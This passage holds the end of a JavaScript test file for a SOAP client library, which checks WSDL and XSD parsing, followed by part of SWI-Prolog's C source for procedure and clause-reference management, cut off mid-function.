:false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultstring","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultstring","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultactor","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultactor","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"detail","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"detail","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Fault","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Body","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Envelope","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}}],"attributes":[]}}}}};
soap.createClient(__dirname + '/wsdl/xsdinclude/xsd_include.wsdl', function(err, client) {
assert.ok(!err);
var expectedString = JSON.stringify(expected);
var result = JSON.stringify(client.describe());
assert.equal(result, expectedString);
done();
});
});
it('handles xsd includes', function(done) {
soap.createClient(__dirname + '/wsdl/xsdinclude/xsd_include.wsdl', function(err, client) {
assert.ok(!err);
var schema = client.wsdl.definitions.schemas['http://www.dummy.com/Types'];
var simpleTypes = Object.keys(schema.simpleTypes);
simpleTypes.should.eql(['IdType', 'NameType', 'AnotherIdType'])
done();
});
});
it('should map isMany values correctly', function(done) {
openWSDL(path.resolve(__dirname, 'wsdl/marketo.wsdl'), function(
err,
def
) {
var operation = def.definitions.bindings.MktowsApiSoapBinding.operations.getLeadChanges;
var operationDesc = operation.describe(def);
assert(operationDesc.input.body.elements[0].elements);
// Check that an element with maxOccurs="1" maps to isMany = false
operationDesc.input.body.elements[0].elements.forEach(function(element){
if(element.qname.name === 'startPosition'){
assert.equal(element.isMany, false);
}
// Check that an element with maxOccurs="unbounded" maps to isMany = false
if(element.qname.name === 'activityNameFilter'){
assert(element.elements[0]);
assert.equal(element.elements[0].isMany, true);
}
});
done();
});
});
});
});
|
/* Part of SWI-Prolog
Author: Jan Wielemaker
E-mail: J.Wielemaker@vu.nl
WWW: http://www.swi-prolog.org
Copyright (c) 1985-2019, University of Amsterdam
VU University Amsterdam
CWI, Amsterdam
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
/*#define O_DEBUG 1*/
#include "pl-incl.h"
#include "pl-dbref.h"
#include "pl-event.h"
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
General handling of procedures: creation; adding/removing clauses;
finding source files, etc.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
#undef LD
#define LD LOCAL_LD
static void resetProcedure(Procedure proc, bool isnew);
static atom_t autoLoader(Definition def);
static Procedure visibleProcedure(functor_t f, Module m ARG_LD);
static void freeClauseRef(ClauseRef cref);
static int setDynamicDefinition_unlocked(Definition def, bool isdyn);
static void registerDirtyDefinition(Definition def ARG_LD);
static void unregisterDirtyDefinition(Definition def);
/* Enforcing this limit demands we propagate NULL from lookupProcedure()
through the whole system. This is not done
*/
#define O_PROGLIMIT_INCL_PRED 0
#define SIZEOF_PROC (sizeof(struct procedure) + sizeof(struct definition))
Procedure
lookupProcedure(functor_t f, Module m)
{ GET_LD
Procedure proc, oproc;
Definition def;
if ( (proc = lookupHTable(m->procedures, (void *)f)) )
{ DEBUG(MSG_PROC, Sdprintf("lookupProcedure(%s) --> %s\n",
PL_atom_chars(m->name),
procedureName(proc)));
return proc;
}
#if O_PROGLIMIT_INCL_PRED
if ( m->code_limit &&
m->code_size + SIZEOF_PROC > m->code_limit )
{ PL_error(NULL, 0, NULL, ERR_RESOURCE, ATOM_program_space);
return NULL;
}
#endif
proc = (Procedure) allocHeapOrHalt(sizeof(struct procedure));
def = (Definition) allocHeapOrHalt(sizeof(struct definition));
proc->definition = def;
proc->flags = 0;
proc->source_no = 0;
memset(def, 0, sizeof(*def));
def->functor = valueFunctor(f);
def->module = m;
def->shared = 1;
if ( def->functor->arity > 0 )
{ def->impl.any.args = allocHeapOrHalt(sizeof(arg_info)*def->functor->arity);
memset(def->impl.any.args, 0, sizeof(arg_info)*def->functor->arity);
} else
{ def->impl.any.args = NULL;
}
resetProcedure(proc, TRUE);
DEBUG(MSG_PROC_COUNT, Sdprintf("Created %s\n", procedureName(proc)));
ATOMIC_INC(&GD->statistics.predicates);
ATOMIC_ADD(&m->code_size, SIZEOF_PROC);
if ( (oproc=addHTable(m->procedures, (void *)f, proc)) == proc )
{ return proc;
} else
{ unallocProcedure(proc);
return oproc;
}
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
lingerDefinition() deals with (undefined) definitions that are replaced
due to importing. These definitions can be in use with other threads.
This needs be be improved, possibly using a technique similar to the RDF
database. For now, we merely collect them in a single place, so we know
what is going on. In addition, we can collect lingering definitions when
destroying a module, resulting in leak-free temporary modules.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
void
lingerDefinition(Definition def)
{ ListCell c = allocHeapOrHalt(sizeof(*c));
Module m = def->module;
ListCell o;
c->value = def;
do
{ o = m->lingering;
c->next = o;
} while( !COMPARE_AND_SWAP(&m->lingering, o, c) );
DEBUG(MSG_PROC_COUNT, Sdprintf("Linger %s\n", predicateName(def)));
ATOMIC_SUB(&m->code_size, sizeof(*def));
ATOMIC_DEC(&GD->statistics.predicates);
/*GC_LINGER(def);*/
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
destroyDefinition() is called to destroy predicates from destroyModule()
as well as destroying thread-local instantiations while a thread is
being terminated. In both cases is the predicate known to be not
referenced.
However, we cannot simply discard everything as the predicate may be
involved in clause-GC. Therefore we need to leave the entire cleaning to
clause-GC. This is somewhat slower than the old way around. The good
news is the it works towards more general garbage collection for code,
e.g., eventually we may be able to destroy modules even if we cannot
guarantee they are not in use.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
void
destroyDefinition(Definition def)
{ ATOMIC_DEC(&GD->statistics.predicates);
ATOMIC_SUB(&def->module->code_size, sizeof(*def));
freeCodesDefinition(def, FALSE);
if ( false(def, P_FOREIGN|P_THREAD_LOCAL) ) /* normal Prolog predicate */
{ deleteIndexes(&def->impl.clauses, TRUE);
removeClausesPredicate(def, 0, FALSE);
freeHeap(def->impl.any.args, sizeof(arg_info)*def->functor->arity);
} else /* foreign and thread-local */
{ DEBUG(MSG_PROC_COUNT, Sdprintf("Unalloc foreign/thread-local: %s\n",
predicateName(def)));
#ifdef O_PLMT
if ( true(def, P_THREAD_LOCAL) )
destroyLocalDefinitions(def);
#endif
}
DEBUG(MSG_CGC_PRED,
Sdprintf("destroyDefinition(%s)\n", predicateName(def)));
if ( true(def, P_DIRTYREG) )
{ DEBUG(MSG_PROC_COUNT, Sdprintf("Erased %s\n", predicateName(def)));
def->module = NULL;
set(def, P_ERASED);
} else
{ DEBUG(MSG_PROC_COUNT, Sdprintf("Unalloc %s\n", predicateName(def)));
freeHeap(def, sizeof(*def));
}
}
void
unallocProcedure(Procedure proc)
{ Definition def = proc->definition;
Module m = def->module;
if ( unshareDefinition(def) == 0 )
{ DEBUG(MSG_PROC, Sdprintf("Reclaiming %s\n", predicateName(def)));
destroyDefinition(def);
}
freeHeap(proc, sizeof(*proc));
if ( m )
ATOMIC_SUB(&m->code_size, sizeof(*proc));
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Add (import) a definition to a module. Used by loadImport() for loading
states and QLF files. Must be merged with import/1.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
int
importDefinitionModule(Module m, Definition def, int flags)
{ GET_LD
functor_t functor = def->functor->functor;
Procedure proc;
int rc = TRUE;
LOCKMODULE(m);
if ( (proc = lookupHTable(m->procedures, (void *)functor)) )
{ if ( proc->definition != def )
{ if ( !isDefinedProcedure(proc) )
{ Definition odef = proc->definition;
shareDefinition(def);
proc->definition = def;
if ( unshareDefinition(odef) == 0 )
lingerDefinition(odef);
} else
{ if ( !(flags&PROC_WEAK) )
rc = warning("Failed to import %s into %s",
predicateName(def), PL_atom_chars(m->name));
}
}
} else
{ proc = (Procedure) allocHeapOrHalt(sizeof(struct procedure));
proc->definition = def;
proc->flags = flags;
proc->source_no = 0;
addNewHTable(m->procedures, (void *)functor, proc);
shareDefinition(def);
}
UNLOCKMODULE(m);
return rc;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
resetProcedure() is called by lookupProcedure() for new ones, and
abolishProcedure() by abolish/2.
There are two cases where a complete reset is safe: if this is an
unreferenced dynamic predicate and if this is a predicate that has no
clause-list. Such predicates can't be active and can't become active as
that requires clauses which, even under MT, can only be added after
locking the L_PREDICATE mutex.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
static void
resetProcedure(Procedure proc, bool isnew)
{ Definition def = proc->definition;
if ( (true(def, P_DYNAMIC) /*&& def->references == 0*/) ||
!def->impl.any.defined )
isnew = TRUE;
if ( true(def, P_DIRTYREG) )
ATOMIC_SUB(&GD->clauses.dirty, def->impl.clauses.number_of_clauses);
def->flags ^= def->flags & ~(SPY_ME|P_DIRTYREG);
if ( stringAtom(def->functor->name)[0] != '$' )
set(def, TRACE_ME);
def->impl.clauses.number_of_clauses = 0;
if ( def->events )
destroy_event_list(&def->events);
if ( isnew )
{ deleteIndexes(&def->impl.clauses, TRUE);
freeCodesDefinition(def, FALSE);
} else
freeCodesDefinition(def, TRUE); /* carefully sets to S_VIRGIN */
}
Procedure
isCurrentProcedure__LD(functor_t f, Module m ARG_LD)
{ return lookupHTable(m->procedures, (void *)f);
}
ClauseRef
hasClausesDefinition(Definition def)
{ if ( false(def, P_FOREIGN|P_THREAD_LOCAL) &&
def->impl.clauses.first_clause )
{ GET_LD
ClauseRef c;
gen_t generation = global_generation();
acquire_def(def);
for(c = def->impl.clauses.first_clause; c; c = c->next)
{ Clause cl = c->value.clause;
if ( visibleClauseCNT(cl, generation) )
break;
}
release_def(def);
return c;
}
return NULL;
}
bool
isDefinedProcedure(Procedure proc)
{ Definition def = proc->definition;
if ( true(def, PROC_DEFINED) )
succeed;
return hasClausesDefinition(def) ? TRUE : FALSE;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Find a procedure for defining it. Here we check whether the procedure
to be defined is a system predicate.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
Procedure
isStaticSystemProcedure(functor_t fd)
{ GET_LD
Procedure proc;
if ( !SYSTEM_MODE &&
MODULE_system &&
(proc=isCurrentProcedure(fd, MODULE_system)) &&
true(proc->definition, P_LOCKED) &&
false(proc->definition, P_DYNAMIC) )
return proc;
return NULL;
}
int
checkModifySystemProc(functor_t fd)
{ Procedure proc;
if ( (proc = isStaticSystemProcedure(fd)) &&
true(proc->definition, P_ISO) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PROC, proc);
succeed;
}
int
overruleImportedProcedure(Procedure proc, Module target)
{ GET_LD
Definition def = getProcDefinition(proc);
assert(def->module != target); /* e.g., imported */
if ( true(def->module, M_SYSTEM) )
{ return PL_error(NULL, 0, NULL, ERR_PERMISSION_PROC,
ATOM_redefine, ATOM_built_in_procedure, proc);
} else
{ if ( proc->flags & PROC_WEAK )
{ if ( truePrologFlag(PLFLAG_WARN_OVERRIDE_IMPLICIT_IMPORT) )
{ term_t pi;
if ( !(pi=PL_new_term_ref()) ||
!PL_unify_predicate(pi, proc, GP_NAMEARITY) ||
!printMessage(ATOM_warning,
PL_FUNCTOR_CHARS, "ignored_weak_import", 2,
PL_ATOM, target->name,
PL_TERM, pi) )
return FALSE;
}
abolishProcedure(proc, target);
return TRUE;
}
}
return PL_error(NULL, 0, NULL, ERR_PERMISSION_PROC,
ATOM_redefine, ATOM_imported_procedure, proc);
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
lookupProcedureToDefine() locates the proc for a functor in a module
with the aim of providing a definition for this procedure, e.g., to
declare it as a meta-predicate, dynamic, etc.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
Procedure
lookupProcedureToDefine(functor_t def, Module m)
{ GET_LD
Procedure proc;
if ( (proc = isCurrentProcedure(def, m)) )
{ Definition def = getProcDefinition(proc);
if ( def->module != m )
{ if ( !overruleImportedProcedure(proc, m) )
return NULL;
}
return proc;
}
if ( checkModifySystemProc(def) )
return lookupProcedure(def, m);
return NULL;
}
Procedure
getDefinitionProc(Definition def)
{ GET_LD
Procedure proc = isCurrentProcedure(def->functor->functor, def->module);
assert(proc);
return proc;
}
void
shareDefinition(Definition def)
{ int shared = ATOMIC_INC(&def->shared);
assert(shared > 0);
(void)shared;
}
int
unshareDefinition(Definition def)
{ return ATOMIC_DEC(&def->shared);
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
get_functor() translates term of the format +Name/+Arity into the
internal functor represenation. It fails and raises an exception on the
various possible format or representation errors. ISO compliant.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
static int
get_arity(term_t t, int extra, int maxarity, int *arity)
{ int a;
if ( !PL_get_integer_ex(t, &a) )
fail;
if ( a < 0 )
return PL_error(NULL, 0, NULL, ERR_DOMAIN,
ATOM_not_less_than_zero, t);
a += extra;
if ( maxarity >= 0 && a > maxarity )
{ char buf[100];
Ssprintf(buf, "limit is %d, request = %d", maxarity, a);
return PL_error(NULL, 0, buf,
ERR_REPRESENTATION, ATOM_max_arity);
}
*arity = a;
return TRUE;
}
int
get_functor(term_t descr, functor_t *fdef, Module *m, term_t h, int how)
{ GET_LD
term_t head;
int dcgpi=FALSE;
if ( !(how&GP_NOT_QUALIFIED) )
{ head = PL_new_term_ref();
if ( !PL_strip_module(descr, m, head) )
return FALSE;
} else
{ head = descr;
}
if ( PL_is_functor(head, FUNCTOR_divide2) ||
(dcgpi=PL_is_functor(head, FUNCTOR_gdiv2)) )
{ term_t a = PL_new_term_ref();
atom_t name;
int arity = 0;
_PL_get_arg(1, head, a);
if ( !PL_get_atom_ex(a, &name) )
fail;
_PL_get_arg(2, head, a);
if ( !get_arity(a,
(dcgpi ? 2 : 0),
(how&GF_PROCEDURE) ? MAXARITY : -1,
&arity ) )
fail;
*fdef = PL_new_functor(name, arity);
if ( h )
PL_put_term(h, head);
succeed;
} else if ( !(how&GF_NAMEARITY) && PL_get_functor(head, fdef) )
{ if ( h )
PL_put_term(h, head);
succeed;
} else
{ if ( how & GP_TYPE_QUIET )
fail;
else
return PL_error(NULL, 0, NULL, ERR_TYPE,
ATOM_predicate_indicator, head);
}
}
int
get_head_functor(term_t head, functor_t *fdef, int how ARG_LD)
{ FunctorDef fd;
if ( !PL_get_functor(head, fdef) )
{ if ( how&GP_TYPE_QUIET )
fail;
else
return PL_error(NULL, 0, NULL, ERR_TYPE, ATOM_callable, head);
}
fd = valueFunctor(*fdef);
if ( fd->arity > MAXARITY )
{ if ( how&GP_TYPE_QUIET )
{ fail;
} else
{ char buf[100];
Ssprintf(buf, "limit is %d, request = %d", MAXARITY, fd->arity);
return PL_error(NULL, 0, buf,
ERR_REPRESENTATION, ATOM_max_arity);
}
}
if ( !isCallableAtom(fd->name) )
{ if ( how&GP_TYPE_QUIET )
{ fail;
} else
{ return PL_error(NULL, 0, NULL,
ERR_TYPE, ATOM_callable, head);
}
}
succeed;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Get the specified procedure from a Prolog argument. This argument is
either a head or a term of the form module:head. If `create' is TRUE, a
procedure is created in the module. Otherwise, the system traverses the
module-inheritance chain to find the existing procedure.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
static Module
get_module(atom_t mname, int how ARG_LD)
{ if ( mname )
{ switch(how&GP_HOW_MASK)
{ case GP_CREATE:
case GP_DEFINE:
return lookupModule(mname);
case GP_FIND:
case GP_FINDHERE:
case GP_RESOLVE:
{ Module m;
if ( (m=isCurrentModule(mname)) )
return m;
return MODULE_user;
}
}
}
return (environment_frame ? contextModule(environment_frame)
: MODULE_user);
}
int
get_procedure(term_t descr, Procedure *proc, term_t h, int how)
{ GET_LD
atom_t mname = 0;
Module m = NULL;
functor_t fdef;
Procedure p;
if ( (how&GP_NAMEARITY) )
{ if ( !get_functor(descr, &fdef, &m, h,
GF_PROCEDURE|(how&GP_TYPE_QUIET)) )
fail;
} else
{ term_t head = PL_new_term_ref();
Word p;
if ( !(p=stripModuleName(valTermRef(descr), &mname PASS_LD)) )
return FALSE;
*valTermRef(head) = linkVal(p);
if ( !(m = get_module(mname, how PASS_LD)) )
return FALSE;
if ( h )
PL_put_term(h, head);
if ( !get_head_functor(head, &fdef, how PASS_LD) )
fail;
}
switch( how & GP_HOW_MASK )
{ case GP_CREATE:
*proc = lookupBodyProcedure(fdef, m);
break;
case GP_FINDHERE:
if ( (p = isCurrentProcedure(fdef, m)) )
{ *proc = p;
break;
}
goto notfound;
case GP_FIND:
if ( (p = visibleProcedure(fdef, m PASS_LD)) )
{ *proc = p;
goto out;
}
goto notfound;
case GP_DEFINE:
if ( (p = lookupProcedureToDefine(fdef, m)) )
{ *proc = p;
break;
}
fail; /* permission error */
case GP_RESOLVE:
if ( (p = resolveProcedure(fdef, m)) )
{ *proc = p;
break;
}
goto notfound;
default:
assert(0);
}
out:
succeed;
notfound:
if ( (how & GP_EXISTENCE_ERROR) )
return PL_error(NULL, 0, NULL, ERR_EXISTENCE, ATOM_procedure, descr);
fail;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
This function implements $c_current_predicate/2. current_predicate/2
itself is written in Prolog, based on this function. Having dynamic
linking from super modules and dynamic loading from the libraries, the
definition of current predicate has become a difficult issue. Normally
it is used for meta-programming and program analysis. I think it should
succeed for each predicate that can be called. The current
implementation is VERY slow due to all Prolog overhead. This should be
reconsidered and probably a large part of this function should be moved
to C.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
word
pl_current_predicate(term_t name, term_t spec, control_t h)
{ GET_LD
TableEnum e;
atom_t n;
functor_t f;
Module m = (Module) NULL;
Procedure proc;
term_t functor = PL_new_term_ref();
if ( ForeignControl(h) == FRG_CUTTED )
{ e = ForeignContextPtr(h);
freeTableEnum(e);
succeed;
}
if ( !PL_strip_module__LD(spec, &m, functor, SM_NOCREATE PASS_LD) )
fail;
if ( !PL_get_atom(name, &n) )
{ if ( PL_is_variable(name) )
n = NULL_ATOM;
else
fail;
}
if ( !PL_get_functor(functor, &f) )
{ if ( PL_is_variable(functor) )
f = 0;
else
fail;
}
if ( ForeignControl(h) == FRG_FIRST_CALL)
{ if ( f )
{ if ( (proc = isCurrentProcedure(f, m)) )
return PL_unify_atom(name, nameFunctor(f));
fail;
}
e = newTableEnum(m->procedures);
} else
e = ForeignContextPtr(h);
while( advanceTableEnum(e, NULL, (void**)&proc) )
{ FunctorDef fdef;
fdef = proc->definition->functor;
if ( (n && n != fdef->name) ||
!PL_unify_atom(name, fdef->name) ||
!PL_unify_functor(functor, fdef->functor) )
continue;
ForeignRedoPtr(e);
}
freeTableEnum(e);
fail;
}
/*******************************
* ISO CURRENT-PREDICATE/1 *
*******************************/
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Patterns: ?Name/?Arity
?Module:(?Name/?Arity)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
typedef struct
{ functor_t functor; /* Functor we are looking for */
atom_t name; /* Name of target pred */
int arity; /* arity of target pred */
Module module; /* Module to search in */
Module super; /* Walking along super-chain */
TableEnum epred; /* Predicate enumerator */
TableEnum emod; /* Module enumerator */
} cur_enum;
static Procedure
visibleProcedure(functor_t f, Module m ARG_LD)
{ ListCell c;
Procedure p;
for(;;)
{ next:
if ( (p = isCurrentProcedure(f, m)) && isDefinedProcedure(p) )
return p;
for(c=m->supers; c; c=c->next)
{ if ( c->next )
{ if ( (p=visibleProcedure(f, c->value PASS_LD)) )
return p;
} else
{ m = c->value;
goto next;
}
}
return NULL;
}
}
foreign_t
pl_current_predicate1(term_t spec, control_t ctx)
{ GET_LD
cur_enum e0;
cur_enum *e;
int rval = FALSE;
term_t mt = 0; /* module-term */
term_t nt = 0; /* name-term */
term_t at = 0; /* arity-term */
unsigned int aextra = 0;
if ( ForeignControl(ctx) != FRG_CUTTED )
{ term_t pi = PL_copy_term_ref(spec);
nt = PL_new_term_ref();
at = PL_new_term_ref();
while( PL_is_functor(pi, FUNCTOR_colon2) )
{ if ( !mt )
mt = PL_new_term_ref();
_PL_get_arg(1, pi, mt);
_PL_get_arg(2, pi, pi);
}
if ( PL_is_functor(pi, FUNCTOR_divide2) )
{ _PL_get_arg(1, pi, nt);
_PL_get_arg(2, pi, at);
} else if ( PL_is_functor(pi, FUNCTOR_gdiv2) )
{ _PL_get_arg(1, pi, nt);
_PL_get_arg(2, pi, at);
aextra = 2;
} else if ( PL_is_variable(pi) )
{ term_t a;
if ( !(a=PL_new_term_ref()) ||
!PL_cons_functor(a, FUNCTOR_divide2, nt, at) ||
!PL_unify(pi, a) )
return FALSE; /* resource error */
} else
goto typeerror;
}
switch( ForeignControl(ctx) )
{ case FRG_FIRST_CALL:
{ e = &e0;
memset(e, 0, sizeof(*e));
if ( !PL_get_atom(nt, &e->name) )
{ if ( !PL_is_variable(nt) )
goto typeerror;
}
if ( PL_get_integer(at, &e->arity) )
{ if ( e->arity < 0 )
return PL_error(NULL, 0, NULL, ERR_DOMAIN,
ATOM_not_less_than_zero, at);
e->arity += aextra;
} else
{ if ( !PL_is_variable(at) )
goto typeerror;
e->arity = -1;
}
if ( e->name && e->arity >= 0 )
e->functor = PL_new_functor(e->name, e->arity);
if ( mt )
{ atom_t mname;
if ( PL_is_variable(mt) )
{ Module m;
e->emod = newTableEnum(GD->tables.modules);
if ( advanceTableEnum(e->emod, NULL, (void**)&m) )
e->module = m;
else
fail; /* no modules!? */
} else if ( PL_get_atom_ex(mt, &mname) )
{ e->module = isCurrentModule(mname);
if ( !e->module )
fail;
} else
{ fail;
}
} else
{ if ( environment_frame )
e->module = contextModule(environment_frame);
else
e->module = MODULE_user;
e->super = e->module;
}
if ( e->functor )
{ if ( !e->emod ) /* fully specified */
return (visibleProcedure(e->functor, e->module PASS_LD) != NULL);
} else
{ e->epred = newTableEnum(e->module->procedures);
}
e = allocForeignState(sizeof(*e));
*e = e0;
break;
}
case FRG_REDO:
e = ForeignContextPtr(ctx);
break;
case FRG_CUTTED:
{ e = ForeignContextPtr(ctx);
rval = TRUE;
goto clean;
}
default:
{ e = NULL;
assert(0);
}
}
for(;;)
{ if ( e->functor ) /* _M:foo/2 */
{ if ( visibleProcedure(e->functor, e->module PASS_LD) )
{ Module m;
PL_unify_atom(mt, e->module->name);
if ( advanceTableEnum(e->emod, NULL, (void**)&m) )
{ e->module = m;
ForeignRedoPtr(e);
} else
{ rval = TRUE;
goto clean;
}
}
} else
{ functor_t f;
Procedure proc;
while( advanceTableEnum(e->epred, (void**)&f, (void**)&proc) )
{ FunctorDef fd = valueFunctor(f);
if ( (!e->name || e->name == fd->name) &&
(e->arity < 0 || (unsigned int)e->arity == fd->arity) &&
fd->arity >= aextra &&
isDefinedProcedure(proc) )
{ if ( mt )
PL_unify_atom(mt, e->module->name);
if ( !e->name )
PL_unify_atom(nt, fd->name);
if ( e->arity < 0 )
PL_unify_integer(at, fd->arity-aextra);
ForeignRedoPtr(e);
}
}
}
if ( e->emod ) /* enumerate all modules */
{ Module m;
while( advanceTableEnum(e->emod, NULL, (void**)&m) )
{
/* skip hidden modules */
if ( SYSTEM_MODE ||
m->name == ATOM_system ||
m->class != ATOM_system )
break;
}
if ( m )
e->super = e->module = m;
else
break;
} else if ( !e->functor && e->super && e->super->supers )
{ e->super = e->super->supers->value; /* advance to user-modules */
/* TBD: handle multiple supers */
} else
break; /* finished all modules */
if ( !e->functor )
{ freeTableEnum(e->epred);
e->epred = newTableEnum(e->super->procedures);
}
}
clean:
if ( e )
{ if ( e->epred )
freeTableEnum(e->epred);
if ( e->emod )
freeTableEnum(e->emod);
freeForeignState(e, sizeof(*e));
}
return rval;
typeerror:
return PL_error(NULL, 0, NULL, ERR_TYPE,
ATOM_predicate_indicator, spec);
}
/*******************************
* CLAUSE REFERENCES *
*******************************/
#ifdef O_DEBUG
static Table retracted_clauses = NULL;
static void
registerRetracted(Clause cl)
{ DEBUG(MSG_CGC_CREF_PL, Sdprintf("/**/ r(%p).\n", cl));
DEBUG(MSG_CGC_CREF_TRACK,
{ if ( !retracted_clauses )
retracted_clauses = newHTable(1024);
addNewHTable(retracted_clauses, cl, (void*)1);
});
}
static void
reclaimRetracted(Clause cl)
{ DEBUG(MSG_CGC_CREF_TRACK,
{ void *v = deleteHTable(retracted_clauses, cl);
if ( v != (void*)1 && GD->cleaning == CLN_NORMAL )
{ Definition def = cl->predicate;
Sdprintf("reclaim not retracted from %s\n", predicateName(def));
}
});
}
void
listNotReclaimed(void)
{ if ( retracted_clauses )
{ for_table(retracted_clauses, n, v,
{ Clause cl = n;
Definition def = cl->predicate;
Sdprintf("%p from %s\n", cl, predicateName(def));
});
}
}
#else
#define registerRetracted(cl) (void)0
#define reclaimRetracted(cl) (void)0
#endif
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Clause references are used to link clauses from the main predicate
clause list as well as from additional indexes. They form a linked list
of clauses, indexed according to a specific key. This key is deduced
from the first argument for the main predicate clause list or from
alternative arguments for secondary clause lists.
Traversing a list of clause references traverses the ->next pointer,
possibly matches the key and then looks into the associated ->clause for
the born/died generations. If a clause erased, cleanDefinition() removes
the references to it from the linked lists and adds them to
GD->lingering_clauses, which uses d.gnext to link them together rather
then ->next because ->next might be used by some other thread traversing
the clause chain.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
void
acquire_clause(Clause cl)
{ ATOMIC_INC(&cl->references);
}
void
release_clause(Clause cl)
{ if ( ATOMIC_DEC(&cl->references) == 0 )
{ size_t size = sizeofClause(cl->code_size) + SIZEOF_CREF_CLAUSE;
ATOMIC_SUB(&GD->clauses.erased_size, size);
ATOMIC_DEC(&GD->clauses.erased);
reclaimRetracted(cl);
freeClause(cl);
}
}
ClauseRef
newClauseRef(Clause clause, word key)
{ ClauseRef cref = allocHeapOrHalt(SIZEOF_CREF_CLAUSE);
DEBUG(MSG_CGC_CREF_PL,
Sdprintf("/**/ a(%p, %p, %d, '%s').\n",
cref, clause, clause->references,
predicateName(clause->predicate)));
cref->next = NULL;
cref->d.key = key;
cref->value.clause = clause;
acquire_clause(clause);
return cref;
}
static void
freeClauseRef(ClauseRef cref)
{ Clause cl = cref->value.clause;
DEBUG(MSG_CGC_CREF_PL,
Sdprintf("/**/ d(%p, %p, %d).\n",
cref, cl, (int)cl->references));
release_clause(cl);
freeHeap(cref, SIZEOF_CREF_CLAUSE);
}
void
lingerClauseRef(ClauseRef cref)
{ ClauseRef o;
do
{ o = GD->clauses.lingering;
cref->d.gnext = o;
} while(!COMPARE_AND_SWAP(&GD->clauses.lingering, o, cref) );
ATOMIC_INC(&GD->clauses.lingering_count);
}
static int activePredicate(const Definition *defs, const Definition def);
static void
gcClauseRefs(void)
{ ClauseRef cref;
if ( !(cref = GD->clauses.lingering) ||
!COMPARE_AND_SWAP(&GD->clauses.lingering, cref, NULL) )
return; /* no work or someone else doing it */
